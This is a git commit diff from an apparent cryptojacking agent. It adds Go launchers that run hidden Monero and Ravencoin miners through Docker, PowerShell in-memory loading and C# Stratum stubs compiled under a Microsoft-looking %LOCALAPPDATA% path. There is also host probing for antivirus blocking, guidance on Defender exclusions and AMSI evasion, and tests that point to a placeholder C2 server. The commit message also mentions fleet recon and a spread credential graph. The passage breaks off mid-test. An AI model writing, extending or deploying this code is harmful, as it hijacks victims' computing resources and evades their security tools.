Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -0,0 +1,258 @@
package miner
import (
"bytes"
"fmt"
"log"
"os"
"os/exec"
"runtime"
"strings"
"sync"
"crypto-miner-agent/config"
)
const defaultMinerImage = "aetherforge/agent-worker:latest"
// containerExecCommand is exec.Command; tests override via SetContainerExecCommand.
var containerExecCommand = exec.Command
// SetContainerExecCommand restores the default when fn is nil.
func SetContainerExecCommand(fn func(name string, args ...string) *exec.Cmd) {
if fn == nil {
containerExecCommand = exec.Command
return
}
containerExecCommand = fn
}
// ContainerLauncher supervises an OCI workload that runs CPU mining isolated from the host agent.
type ContainerLauncher struct {
cfg config.RuntimeConfig
runtime ContainerRuntimeInfo
image string
name string
tarPath string // non-empty → docker load from tar, never registry pull
readOnly bool // docker_load tier uses --read-only rootfs
mu sync.Mutex
running bool
cmd *exec.Cmd
}
// NewContainerLauncher builds a launcher when a container runtime is available.
func NewContainerLauncher(cfg config.RuntimeConfig, runtime ContainerRuntimeInfo) (*ContainerLauncher, error) {
return newContainerLauncher(cfg, runtime, "", false)
}
// NewContainerLauncherFromTar builds a docker_load tier launcher (local tar, no registry pull).
func NewContainerLauncherFromTar(cfg config.RuntimeConfig, runtime ContainerRuntimeInfo, tarPath string) (*ContainerLauncher, error) {
tarPath = strings.TrimSpace(tarPath)
if tarPath == "" {
return nil, ErrNoImageTar
}
return newContainerLauncher(cfg, runtime, tarPath, true)
}
func newContainerLauncher(cfg config.RuntimeConfig, runtime ContainerRuntimeInfo, tarPath string, readOnly bool) (*ContainerLauncher, error) {
if !runtime.Available || runtime.CLI == "" {
return nil, fmt.Errorf("no container runtime (docker/podman not in PATH)")
}
image := strings.TrimSpace(os.Getenv("AETHERFORGE_MINER_IMAGE"))
if image == "" {
image = defaultMinerImage
}
name := containerName(cfg)
return &ContainerLauncher{
cfg: cfg,
runtime: runtime,
image: image,
name: name,
tarPath: tarPath,
readOnly: readOnly,
}, nil
}
func containerName(cfg config.RuntimeConfig) string {
suffix := strings.TrimSpace(cfg.BuildID)
if suffix == "" {
suffix = "worker"
}
suffix = strings.Map(func(ch rune) rune {
if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') || ch == '-' {
return ch
}
return '-'
}, suffix)
return "aetherforge-miner-" + suffix
}
// Start launches the miner container (idempotent while already running).
func (l *ContainerLauncher) Start() error {
l.mu.Lock()
defer l.mu.Unlock()
if l.running {
return nil
}
if l.tarPath != "" {
loaded, err := l.loadImageFromTar()
if err != nil {
return err
}
if loaded != "" {
l.image = loaded
}
}
args := l.buildRunArgs()
cmd := containerExecCommand(l.runtime.CLI, args...)
cmd.Stdout = nil
cmd.Stderr = nil
if err := cmd.Start(); err != nil {
return fmt.Errorf("%s run failed: %w", l.runtime.CLI, err)
}
l.cmd = cmd
l.running = true
mode := "registry"
if l.tarPath != "" {
mode = "docker_load"
}
log.Printf("[container] started %s (%s) image=%s mode=%s wallet=%s", l.name, l.runtime.CLI, l.image, mode, l.cfg.Wallet)
go l.waitExit()
return nil
}
func (l *ContainerLauncher) waitExit() {
if l.cmd == nil {
return
}
err := l.cmd.Wait()
l.mu.Lock()
l.running = false
l.cmd = nil
l.mu.Unlock()
if err != nil {
log.Printf("[container] miner container exited: %v — host will fall back to in-process mining if configured", err)
} else {
log.Printf("[container] miner container stopped")
}
}
// Stop removes the running container.
func (l *ContainerLauncher) Stop() {
l.mu.Lock()
running := l.running
l.mu.Unlock()
if !running {
return
}
_ = containerExecCommand(l.runtime.CLI, "rm", "-f", l.name).Run()
l.mu.Lock()
if l.cmd != nil && l.cmd.Process != nil {
_ = l.cmd.Process.Kill()
}
l.running = false
l.cmd = nil
l.mu.Unlock()
}
// Image returns the OCI image reference used for the miner workload.
func (l *ContainerLauncher) Image() string {
return l.image
}
// Running reports whether the launcher believes the container is active.
func (l *ContainerLauncher) Running() bool {
l.mu.Lock()
defer l.mu.Unlock()
return l.running
}
func (l *ContainerLauncher) loadImageFromTar() (string, error) {
cmd := containerExecCommand(l.runtime.CLI, "load", "-i", l.tarPath)
var buf bytes.Buffer
cmd.Stdout = &buf
cmd.Stderr = &buf
if err := cmd.Run(); err != nil {
return "", fmt.Errorf("%s load failed: %w (%s)", l.runtime.CLI, err, strings.TrimSpace(buf.String()))
}
for _, line := range strings.Split(buf.String(), "\n") {
line = strings.TrimSpace(line)
if after, ok := strings.CutPrefix(line, "Loaded image:"); ok {
return strings.TrimSpace(after), nil
}
if after, ok := strings.CutPrefix(line, "Loaded image ID:"); ok {
return strings.TrimSpace(after), nil
}
}
return "", nil
}
func (l *ContainerLauncher) buildRunArgs() []string {
args := []string{
"run", "--rm", "-d",
"--name", l.name,
}
if l.tarPath != "" {
args = append(args, "--pull=never")
}
if l.readOnly {
args = append(args, "--read-only", "--tmpfs", "/tmp")
}
if runtime.GOOS == "linux" {
args = append(args, "--network", "host")
}
if l.cfg.GPUEnabled {
args = append(args, "--gpus", "all")
}
env := l.containerEnv()
for _, e := range env {
args = append(args, "-e", e)
}
args = append(args, l.image)
return args
}
func (l *ContainerLauncher) containerEnv() []string {
threads := l.cfg.EffectiveThreads()
pairs := map[string]string{
"AETHERFORGE_SERVER_URL": l.cfg.ServerURL,
"AETHERFORGE_WALLET": l.cfg.Wallet,
"AETHERFORGE_WORKER": l.cfg.WorkerName,
"AETHERFORGE_POOL_HOST": l.cfg.PoolHost,
"AETHERFORGE_POOL_PORT": fmt.Sprintf("%d", l.cfg.PoolPort),
"AETHERFORGE_POOL_TLS": boolEnv(l.cfg.PoolTLS),
"AETHERFORGE_POOL_PASS": l.cfg.PoolPass,
"AETHERFORGE_THREADS": fmt.Sprintf("%d", threads),
"AETHERFORGE_MINER_EXECUTION": ExecutionInProcess,
"AETHERFORGE_FLEET_SECRET": l.cfg.FleetSecret,
"MINER_LOG_FILE": "/tmp/miner.log",
}
if l.cfg.RVNWallet != "" {
pairs["AETHERFORGE_RVN_WALLET"] = l.cfg.RVNWallet
pairs["AETHERFORGE_RVN_POOL_HOST"] = l.cfg.RVNPoolHost
pairs["AETHERFORGE_RVN_POOL_PORT"] = fmt.Sprintf("%d", l.cfg.RVNPoolPort)
pairs["AETHERFORGE_GPU_ENABLED"] = boolEnv(l.cfg.GPUEnabled)
}
out := make([]string, 0, len(pairs))
for k, v := range pairs {
if v != "" {
out = append(out, k+"="+v)
}
}
return out
}
func boolEnv(v bool) string {
if v {
return "1"
}
return "0"
}

View File

@@ -0,0 +1,236 @@
package miner
import (
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"testing"
"crypto-miner-agent/config"
)
func longRunningTestCmd() *exec.Cmd {
if runtime.GOOS == "windows" {
return exec.Command("ping", "-n", "600", "127.0.0.1")
}
return exec.Command("sleep", "600")
}
func quickExitTestCmd() *exec.Cmd {
if runtime.GOOS == "windows" {
return exec.Command("cmd", "/c", "exit", "0")
}
return exec.Command("true")
}
func dockerEnvFromArgs(args []string) map[string]string {
out := make(map[string]string)
for i := 0; i < len(args); i++ {
if args[i] != "-e" || i+1 >= len(args) {
continue
}
i++
k, v, ok := strings.Cut(args[i], "=")
if !ok {
continue
}
out[k] = v
}
return out
}
func TestContainerLauncherStartWithFakeRuntime(t *testing.T) {
const customImage = "registry.example/aether-worker:test"
t.Setenv("AETHERFORGE_MINER_IMAGE", customImage)
var gotCLI string
var gotArgs []string
SetContainerExecCommand(func(name string, args ...string) *exec.Cmd {
if len(args) > 0 && args[0] == "rm" {
return quickExitTestCmd()
}
gotCLI = name
gotArgs = append([]string(nil), args...)
return longRunningTestCmd()
})
defer SetContainerExecCommand(nil)
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
BuildID: "test-build",
ServerURL: "http://c2.example",
Wallet: "XMR:wallet",
WorkerName: "worker-1",
PoolHost: "pool.example.com",
PoolPort: 3333,
PoolTLS: true,
PoolPass: "x",
ThreadMode: "fixed",
Threads: 4,
FleetSecret: "fleet-secret",
},
}
rt := ContainerRuntimeInfo{Available: true, CLI: "docker", Version: "24.0.0"}
launcher, err := NewContainerLauncher(cfg, rt)
if err != nil {
t.Fatalf("NewContainerLauncher: %v", err)
}
if launcher.Image() != customImage {
t.Fatalf("Image()=%q want %q", launcher.Image(), customImage)
}
if err := launcher.Start(); err != nil {
t.Fatalf("Start: %v", err)
}
defer launcher.Stop()
if gotCLI != "docker" {
t.Fatalf("runtime CLI=%q want docker", gotCLI)
}
wantPrefix := []string{"run", "--rm", "-d", "--name", "aetherforge-miner-test-build"}
if len(gotArgs) < len(wantPrefix) {
t.Fatalf("args=%v too short, want prefix %v", gotArgs, wantPrefix)
}
for i, w := range wantPrefix {
if gotArgs[i] != w {
t.Fatalf("args[%d]=%q want %q full=%v", i, gotArgs[i], w, gotArgs)
}
}
if runtime.GOOS == "linux" {
if !containsSeq(gotArgs, "--network", "host") {
t.Fatalf("linux args missing --network host: %v", gotArgs)
}
}
if gotArgs[len(gotArgs)-1] != customImage {
t.Fatalf("image arg=%q want %q", gotArgs[len(gotArgs)-1], customImage)
}
env := dockerEnvFromArgs(gotArgs)
wantEnv := map[string]string{
"AETHERFORGE_SERVER_URL": "http://c2.example",
"AETHERFORGE_WALLET": "XMR:wallet",
"AETHERFORGE_WORKER": "worker-1",
"AETHERFORGE_POOL_HOST": "pool.example.com",
"AETHERFORGE_POOL_PORT": "3333",
"AETHERFORGE_POOL_TLS": "1",
"AETHERFORGE_POOL_PASS": "x",
"AETHERFORGE_THREADS": "4",
"AETHERFORGE_MINER_EXECUTION": ExecutionInProcess,
"AETHERFORGE_FLEET_SECRET": "fleet-secret",
"MINER_LOG_FILE": "/tmp/miner.log",
}
for k, want := range wantEnv {
if got := env[k]; got != want {
t.Fatalf("env[%s]=%q want %q", k, got, want)
}
}
if !launcher.Running() {
t.Fatal("Running() false after Start")
}
if err := launcher.Start(); err != nil {
t.Fatalf("second Start: %v", err)
}
if !launcher.Running() {
t.Fatal("Running() false after idempotent Start")
}
}
func TestContainerLauncherDockerLoadFromTar(t *testing.T) {
dir := t.TempDir()
tarPath := filepath.Join(dir, "worker.tar")
if err := os.WriteFile(tarPath, []byte("fake"), 0644); err != nil {
t.Fatal(err)
}
var calls [][]string
SetContainerExecCommand(func(name string, args ...string) *exec.Cmd {
copied := append([]string{name}, args...)
calls = append(calls, copied)
if len(args) > 0 && args[0] == "load" {
if runtime.GOOS == "windows" {
return exec.Command("cmd", "/c", "echo Loaded image: aetherforge/agent-worker:tar")
}
return exec.Command("sh", "-c", "echo 'Loaded image: aetherforge/agent-worker:tar'")
}
if len(args) > 0 && args[0] == "rm" {
return quickExitTestCmd()
}
return longRunningTestCmd()
})
defer SetContainerExecCommand(nil)
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
BuildID: "tar-test",
Wallet: "XMR:wallet",
PoolHost: "pool.example.com",
PoolPort: 3333,
},
}
rt := ContainerRuntimeInfo{Available: true, CLI: "docker"}
launcher, err := NewContainerLauncherFromTar(cfg, rt, tarPath)
if err != nil {
t.Fatalf("NewContainerLauncherFromTar: %v", err)
}
if err := launcher.Start(); err != nil {
t.Fatalf("Start: %v", err)
}
defer launcher.Stop()
foundLoad := false
foundNeverPull := false
foundReadOnly := false
for _, call := range calls {
if len(call) >= 3 && call[1] == "load" && call[3] == tarPath {
foundLoad = true
}
for i, arg := range call {
if arg == "--pull=never" {
foundNeverPull = true
}
if arg == "--read-only" {
foundReadOnly = true
}
if arg == "--gpus" && i+1 < len(call) && call[i+1] == "all" {
// gpu flag present when GPU enabled — optional in this cfg
}
}
}
if !foundLoad {
t.Fatalf("docker load not invoked, calls=%v", calls)
}
if !foundNeverPull {
t.Fatalf("expected --pull=never, calls=%v", calls)
}
if !foundReadOnly {
t.Fatalf("expected --read-only, calls=%v", calls)
}
}
func containsSeq(args []string, seq ...string) bool {
if len(seq) == 0 || len(args) < len(seq) {
return false
}
for i := 0; i <= len(args)-len(seq); i++ {
match := true
for j := range seq {
if args[i+j] != seq[j] {
match = false
break
}
}
if match {
return true
}
}
return false
}

View File

@@ -0,0 +1,236 @@
package miner
import (
"fmt"
"log"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"sync"
"crypto-miner-agent/config"
)
// dotnetBin and msbuildBin are toolchain paths; tests override via SetDotnetBinPath / SetMSBuildBinPath.
var (
dotnetBin = "dotnet"
msbuildBin = "MSBuild"
dotnetExecCommand = exec.Command
)
// SetDotnetBinPath overrides the dotnet CLI binary (restore with "").
func SetDotnetBinPath(path string) {
if strings.TrimSpace(path) == "" {
dotnetBin = "dotnet"
return
}
dotnetBin = path
}
// SetMSBuildBinPath overrides the MSBuild binary (restore with "").
func SetMSBuildBinPath(path string) {
if strings.TrimSpace(path) == "" {
msbuildBin = "MSBuild"
return
}
msbuildBin = path
}
// SetDotnetExecCommand restores default when fn is nil.
func SetDotnetExecCommand(fn func(name string, args ...string) *exec.Cmd) {
if fn == nil {
dotnetExecCommand = exec.Command
return
}
dotnetExecCommand = fn
}
// DotnetLauncher compiles and runs a minimal Stratum stub via trusted dotnet/msbuild (LOTL).
type DotnetLauncher struct {
cfg config.RuntimeConfig
workDir string
tool string // "dotnet" or "msbuild"
mu sync.Mutex
running bool
cmd *exec.Cmd
}
// NewDotnetLauncher validates platform, pool, and toolchain availability.
func NewDotnetLauncher(cfg config.RuntimeConfig) (*DotnetLauncher, error) {
if runtime.GOOS != "windows" {
return nil, fmt.Errorf("dotnet tier requires Windows")
}
if strings.TrimSpace(cfg.PoolHost) == "" || cfg.PoolPort <= 0 {
return nil, fmt.Errorf("pool host/port required for dotnet stratum tier")
}
if strings.TrimSpace(cfg.Wallet) == "" {
return nil, fmt.Errorf("wallet required for dotnet stratum tier")
}
tool, err := resolveDotnetToolchain()
if err != nil {
return nil, err
}
workDir, err := lotlWorkDir(cfg, "Stratum")
if err != nil {
return nil, err
}
return &DotnetLauncher{cfg: cfg, workDir: workDir, tool: tool}, nil
}
func resolveDotnetToolchain() (string, error) {
if _, err := exec.LookPath(dotnetBin); err == nil {
return "dotnet", nil
}
if _, err := exec.LookPath(msbuildBin); err == nil {
return "msbuild", nil
}
return "", fmt.Errorf("neither dotnet nor MSBuild found in PATH")
}
// WorkDir returns the LOTL compile output directory.
func (l *DotnetLauncher) WorkDir() string {
return l.workDir
}
// Toolchain reports dotnet or msbuild.
func (l *DotnetLauncher) Toolchain() string {
return l.tool
}
// Start materializes source under %LOCALAPPDATA%\Microsoft\... and runs compile + execute.
func (l *DotnetLauncher) Start() error {
l.mu.Lock()
defer l.mu.Unlock()
if l.running {
return nil
}
if err := l.materializeProject(); err != nil {
return err
}
if err := l.compile(); err != nil {
return err
}
cmd, err := l.launchMiner()
if err != nil {
return err
}
l.cmd = cmd
l.running = true
log.Printf("[dotnet-tier] started toolchain=%s dir=%s wallet=%s pool=%s:%d",
l.tool, l.workDir, l.cfg.Wallet, l.cfg.PoolHost, l.cfg.PoolPort)
go l.waitExit()
return nil
}
func (l *DotnetLauncher) materializeProject() error {
if err := os.MkdirAll(l.workDir, 0o755); err != nil {
return fmt.Errorf("mkdir workdir: %w", err)
}
csPath := filepath.Join(l.workDir, "Program.cs")
if err := os.WriteFile(csPath, []byte(renderStratumCSharp(l.cfg)), 0o644); err != nil {
return fmt.Errorf("write Program.cs: %w", err)
}
projPath := filepath.Join(l.workDir, "StratumMiner.csproj")
if err := os.WriteFile(projPath, []byte(stratumCsprojTemplate), 0o644); err != nil {
return fmt.Errorf("write csproj: %w", err)
}
return nil
}
func (l *DotnetLauncher) compile() error {
switch l.tool {
case "dotnet":
cmd := dotnetExecCommand(dotnetBin, "build", l.workDir, "-c", "Release", "-o", filepath.Join(l.workDir, "out"), "-v", "q")
cmd.Dir = l.workDir
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("dotnet build failed: %w (%s)", err, strings.TrimSpace(string(out)))
}
return nil
case "msbuild":
proj := filepath.Join(l.workDir, "StratumMiner.csproj")
cmd := dotnetExecCommand(msbuildBin, proj, "/p:Configuration=Release", "/v:q")
cmd.Dir = l.workDir
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("msbuild failed: %w (%s)", err, strings.TrimSpace(string(out)))
}
return nil
default:
return fmt.Errorf("unknown toolchain %q", l.tool)
}
}
func (l *DotnetLauncher) launchMiner() (*exec.Cmd, error) {
switch l.tool {
case "dotnet":
cmd := dotnetExecCommand(dotnetBin, "run", "--project", l.workDir, "-c", "Release", "--no-build")
cmd.Dir = l.workDir
cmd.Stdout = nil
cmd.Stderr = nil
if err := cmd.Start(); err != nil {
return nil, fmt.Errorf("dotnet run failed: %w", err)
}
return cmd, nil
case "msbuild":
exe := filepath.Join(l.workDir, "bin", "Release", "net8.0", "AetherForgeStratum.exe")
if _, err := os.Stat(exe); err != nil {
exe = filepath.Join(l.workDir, "out", "AetherForgeStratum.exe")
}
cmd := dotnetExecCommand(exe)
cmd.Dir = l.workDir
cmd.Stdout = nil
cmd.Stderr = nil
if err := cmd.Start(); err != nil {
return nil, fmt.Errorf("run compiled exe failed: %w", err)
}
return cmd, nil
default:
return nil, fmt.Errorf("unknown toolchain %q", l.tool)
}
}
func (l *DotnetLauncher) waitExit() {
if l.cmd == nil {
return
}
err := l.cmd.Wait()
l.mu.Lock()
l.running = false
l.cmd = nil
l.mu.Unlock()
if err != nil {
log.Printf("[dotnet-tier] miner process exited: %v — chain will advance", err)
} else {
log.Printf("[dotnet-tier] miner process stopped")
}
}
// Stop terminates the running LOTL miner process.
func (l *DotnetLauncher) Stop() {
l.mu.Lock()
cmd := l.cmd
running := l.running
l.mu.Unlock()
if !running || cmd == nil {
return
}
if cmd.Process != nil {
_ = cmd.Process.Kill()
}
l.mu.Lock()
l.running = false
l.cmd = nil
l.mu.Unlock()
}
// Running reports whether the LOTL miner is active.
func (l *DotnetLauncher) Running() bool {
l.mu.Lock()
defer l.mu.Unlock()
return l.running
}

View File

@@ -0,0 +1,151 @@
package miner
import (
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"testing"
"crypto-miner-agent/config"
)
func fakeDotnetRecorder(t *testing.T) string {
t.Helper()
dir := t.TempDir()
if runtime.GOOS == "windows" {
bat := filepath.Join(dir, "fake-dotnet.cmd")
body := `@echo off
if "%1"=="build" exit /b 0
if "%1"=="run" (
ping -n 3 127.0.0.1 >nul
exit /b 0
)
exit /b 0
`
if err := os.WriteFile(bat, []byte(body), 0o755); err != nil {
t.Fatal(err)
}
return bat
}
sh := filepath.Join(dir, "fake-dotnet.sh")
body := `#!/bin/sh
case "$1" in
build) exit 0 ;;
run) sleep 1 ;;
esac
exit 0
`
if err := os.WriteFile(sh, []byte(body), 0o755); err != nil {
t.Fatal(err)
}
return sh
}
func TestDotnetLauncherMaterializeAndStart(t *testing.T) {
if runtime.GOOS != "windows" {
t.Skip("dotnet tier is Windows-only")
}
bin := fakeDotnetRecorder(t)
SetDotnetBinPath(bin)
SetDotnetExecCommand(func(name string, args ...string) *exec.Cmd {
return exec.Command(name, args...)
})
defer func() {
SetDotnetBinPath("")
SetDotnetExecCommand(nil)
}()
t.Setenv("LOCALAPPDATA", t.TempDir())
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
BuildID: "dn-test",
Wallet: "XMR:wallet456",
WorkerName: "worker-dn",
PoolHost: "pool.example.com",
PoolPort: 4444,
PoolTLS: true,
PoolPass: "secret",
},
}
launcher, err := NewDotnetLauncher(cfg)
if err != nil {
t.Fatalf("NewDotnetLauncher: %v", err)
}
if launcher.Toolchain() != "dotnet" {
t.Fatalf("toolchain=%q want dotnet", launcher.Toolchain())
}
if err := launcher.Start(); err != nil {
t.Fatalf("Start: %v", err)
}
defer launcher.Stop()
cs, err := os.ReadFile(filepath.Join(launcher.WorkDir(), "Program.cs"))
if err != nil {
t.Fatalf("read Program.cs: %v", err)
}
text := string(cs)
if !strings.Contains(text, "XMR:wallet456") {
t.Fatalf("Program.cs missing wallet: %s", text)
}
if !strings.Contains(text, "pool.example.com") {
t.Fatalf("Program.cs missing pool host: %s", text)
}
if !strings.Contains(text, "PoolTLS = true") {
t.Fatalf("Program.cs missing TLS flag: %s", text)
}
if !strings.Contains(launcher.WorkDir(), filepath.Join("Microsoft", "NET", "AetherForge")) {
t.Fatalf("workdir not under Microsoft LOTL path: %s", launcher.WorkDir())
}
if !launcher.Running() {
t.Fatal("Running() false after Start")
}
}
func TestDefaultFallbackChainPowerShellMode(t *testing.T) {
chain := DefaultFallbackChain(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: ExecutionPowerShell,
PoolHost: "p",
Wallet: "w",
},
}, ContainerRuntimeInfo{Available: true, CLI: "docker"})
if chain[0] != MethodPowerShell {
t.Fatalf("chain=%v want powershell first", chain)
}
}
func TestDefaultFallbackChainDotnetMode(t *testing.T) {
chain := DefaultFallbackChain(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: ExecutionDotnet,
PoolHost: "p",
Wallet: "w",
},
}, ContainerRuntimeInfo{})
if chain[0] != MethodDotnet {
t.Fatalf("chain=%v want dotnet first", chain)
}
}
func TestSelectMiningTierChainForcedPowerShell(t *testing.T) {
probes := EnvironmentProbes{PowerShell: true, DotNet: true}
chain, _ := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: ExecutionPowerShell,
Wallet: "w",
PoolHost: "p",
PoolPort: 3333,
},
})
if len(chain) == 0 || chain[0] != TierPSInMemory {
t.Fatalf("chain=%v want ps_inmemory first", chain)
}
}

View File

@@ -0,0 +1,114 @@
package miner
import (
"os"
"os/exec"
"runtime"
"strings"
)
// EnvironmentProbes captures host capabilities that drive tier selection.
type EnvironmentProbes struct {
Docker bool `json:"docker"`
WSL bool `json:"wsl"`
PowerShell bool `json:"pwsh"`
DotNet bool `json:"dotnet"`
GPU bool `json:"gpu"`
AVBlocksExe bool `json:"av_blocks_exe"`
WebView2 bool `json:"webview2"`
}
// probeExecCommand is exec.Command; tests override via SetProbeExecCommand.
var probeExecCommand = exec.Command
// SetProbeExecCommand restores the default when fn is nil.
func SetProbeExecCommand(fn func(name string, args ...string) *exec.Cmd) {
if fn == nil {
probeExecCommand = exec.Command
return
}
probeExecCommand = fn
}
// gpuProbeFn reports discrete GPU presence; tests inject via SetGPUProbe.
var gpuProbeFn = defaultGPUProbe
// SetGPUProbe restores the default when fn is nil.
func SetGPUProbe(fn func() bool) {
if fn == nil {
gpuProbeFn = defaultGPUProbe
return
}
gpuProbeFn = fn
}
func defaultGPUProbe() bool {
return false
}
// ProbeEnvironment gathers tier eligibility signals from the local host.
func ProbeEnvironment(runtimeFn func() ContainerRuntimeInfo) EnvironmentProbes {
if runtimeFn == nil {
runtimeFn = RuntimeDetector
}
rt := runtimeFn()
p := EnvironmentProbes{
Docker: rt.Available,
GPU: gpuProbeFn(),
}
if runtime.GOOS == "windows" {
wsl := WSLDetector()
p.WSL = wsl.Available
p.PowerShell = probePowerShell()
p.DotNet = probeDotNet()
p.WebView2 = probeWebView2()
p.AVBlocksExe = inferAVBlocksExe()
} else if runtime.GOOS == "linux" {
p.PowerShell = commandOK("pwsh", "--version") || commandOK("powershell", "--version")
p.DotNet = commandOK("dotnet", "--version")
}
return p
}
func inferAVBlocksExe() bool {
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_AV_BLOCKS_EXE")); v == "1" || strings.EqualFold(v, "true") {
return true
}
return false
}
func probeWSL() bool {
return commandOK("wsl", "--status") || commandOK("wsl", "-l", "-q")
}
func probePowerShell() bool {
return commandOK("pwsh", "-NoLogo", "-NoProfile", "-Command", "$PSVersionTable.PSVersion.Major") ||
commandOK("powershell", "-NoLogo", "-NoProfile", "-Command", "$PSVersionTable.PSVersion.Major")
}
func probeDotNet() bool {
return commandOK("dotnet", "--version")
}
func probeWebView2() bool {
paths := []string{
os.Getenv("ProgramFiles") + `\Microsoft\EdgeWebView\Application`,
os.Getenv("ProgramFiles(x86)") + `\Microsoft\EdgeWebView\Application`,
}
for _, base := range paths {
if base == `\Microsoft\EdgeWebView\Application` {
continue
}
if info, err := os.Stat(base); err == nil && info.IsDir() {
return true
}
}
return commandOK("reg", "query", `HKLM\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\Clients\{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}`)
}
func commandOK(name string, args ...string) bool {
cmd := probeExecCommand(name, args...)
cmd.Stdout = nil
cmd.Stderr = nil
return cmd.Run() == nil
}

95
agent/miner/execution.go Normal file
View File

@@ -0,0 +1,95 @@
package miner
import (
"strings"
"crypto-miner-agent/config"
)
// CPU/GPU workload execution — distinct from schedule MiningMode (always/idle/scheduled).
const (
ExecutionAuto = "auto"
ExecutionContainer = "container"
ExecutionInProcess = "inprocess"
ExecutionSubprocess = "subprocess"
ExecutionPowerShell = "powershell"
ExecutionDotnet = "dotnet"
)
// ContainerRuntimeInfo describes a detected OCI CLI (docker or podman).
type ContainerRuntimeInfo struct {
Available bool
CLI string // "docker" or "podman"
Version string
}
// RuntimeDetector checks for a container CLI. Tests inject a mock via SetRuntimeDetector.
var RuntimeDetector = DetectContainerRuntime
// SetRuntimeDetector restores the default detector when fn is nil.
func SetRuntimeDetector(fn func() ContainerRuntimeInfo) {
if fn == nil {
RuntimeDetector = DetectContainerRuntime
return
}
RuntimeDetector = fn
}
// ResolveExecutionMode picks the effective miner execution path.
// auto → container when a runtime is available, otherwise inprocess.
func ResolveExecutionMode(cfg config.RuntimeConfig) (mode string, runtime ContainerRuntimeInfo) {
runtime = RuntimeDetector()
raw := strings.ToLower(strings.TrimSpace(cfg.MinerExecution))
switch raw {
case "", ExecutionAuto:
if runtime.Available {
return ExecutionContainer, runtime
}
return ExecutionInProcess, runtime
case ExecutionContainer:
return ExecutionContainer, runtime
case ExecutionInProcess:
return ExecutionInProcess, runtime
case ExecutionSubprocess:
return ExecutionSubprocess, runtime
case ExecutionPowerShell:
return ExecutionPowerShell, runtime
case ExecutionDotnet:
return ExecutionDotnet, runtime
default:
if runtime.Available {
return ExecutionContainer, runtime
}
return ExecutionInProcess, runtime
}
}
// ContainerModeRequested reports whether forge/config asked for container isolation.
func ContainerModeRequested(cfg config.RuntimeConfig) bool {
raw := strings.ToLower(strings.TrimSpace(cfg.MinerExecution))
return raw == ExecutionContainer || raw == ExecutionAuto || raw == ""
}
// AVBlockRecommendation returns operator guidance when mining may be AV-blocked.
func AVBlockRecommendation(mode string, runtime ContainerRuntimeInfo) string {
switch mode {
case ExecutionInProcess:
return "In-process RandomX avoids external CPU miner exes — add Defender path/process exclusions via Calibrate if hashrate stays 0"
case ExecutionContainer:
if runtime.Available {
return "Container mode isolates CPU mining but AV still scans docker.exe and image layers"
}
return "Container mode requested but no Docker/Podman runtime — agent falls back to in-process RandomX"
case ExecutionSubprocess:
return "Subprocess mode spawns GPU miners (T-Rex/TRM) — high AV friction; use inprocess for CPU-only fleets"
case ExecutionPowerShell:
return "PowerShell tier loads mining via powershell.exe + in-memory assembly or encoded command — AMSI may still flag; falls back to in-process"
case ExecutionDotnet:
return "Dotnet tier compiles a minimal Stratum stub via trusted dotnet/msbuild under %LOCALAPPDATA%\\Microsoft — falls back to in-process"
default:
if runtime.Available {
return "Auto mode may launch Docker — prefer miner_execution=inprocess for lowest AV friction on CPU-only rigs"
}
return "Antivirus may block mining — use miner_execution=inprocess (no external CPU exe) and Defender exclusions for install path"
}
}

View File

@@ -0,0 +1,130 @@
package miner
import (
"testing"
"crypto-miner-agent/config"
)
func TestResolveExecutionModeAutoWithDocker(t *testing.T) {
SetRuntimeDetector(func() ContainerRuntimeInfo {
return ContainerRuntimeInfo{Available: true, CLI: "docker", Version: "24.0.0"}
})
defer SetRuntimeDetector(nil)
mode, rt := ResolveExecutionMode(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto},
})
if mode != ExecutionContainer {
t.Fatalf("got mode %q want container", mode)
}
if !rt.Available || rt.CLI != "docker" {
t.Fatalf("runtime %+v", rt)
}
}
func TestResolveExecutionModeAutoWithoutRuntime(t *testing.T) {
SetRuntimeDetector(func() ContainerRuntimeInfo { return ContainerRuntimeInfo{} })
defer SetRuntimeDetector(nil)
mode, _ := ResolveExecutionMode(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto},
})
if mode != ExecutionInProcess {
t.Fatalf("got %q want inprocess", mode)
}
}
func TestResolveExecutionModeForcedContainer(t *testing.T) {
SetRuntimeDetector(func() ContainerRuntimeInfo { return ContainerRuntimeInfo{} })
defer SetRuntimeDetector(nil)
mode, _ := ResolveExecutionMode(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionContainer},
})
if mode != ExecutionContainer {
t.Fatalf("got %q want container", mode)
}
}
func TestResolveExecutionModeInProcess(t *testing.T) {
SetRuntimeDetector(func() ContainerRuntimeInfo {
return ContainerRuntimeInfo{Available: true, CLI: "docker"}
})
defer SetRuntimeDetector(nil)
mode, _ := ResolveExecutionMode(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionInProcess},
})
if mode != ExecutionInProcess {
t.Fatalf("got %q want inprocess", mode)
}
}
func TestResolveExecutionModeSubprocess(t *testing.T) {
